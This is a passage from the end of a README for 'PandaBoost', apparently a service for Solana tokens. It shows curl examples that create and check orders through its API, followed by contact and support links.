"token_address": "ErKGCuxZeMQoS3VhFJZ77giESQphJhGpYDaUJmhApump",
"chain": "solana"
}
}' \
https://web.pandaboost.app/api/v1/orders
curl -H "x-api-key: pb_..." \
https://web.pandaboost.app/api/v1/orders/ABCD1234
Full catalog → web.pandaboost.app
- 🌐 Web Panel — web.pandaboost.app
- 🤖 Telegram Bot — @pandaboostbot
- 📚 Docs & API — docs.pandaboost.app
- 💬 Support — @pandaboosthelp
- 📧 Email — support@pandaboost.app
⭐ Star this repo if it helped you. PRs and issues welcome.
▸ 展开全文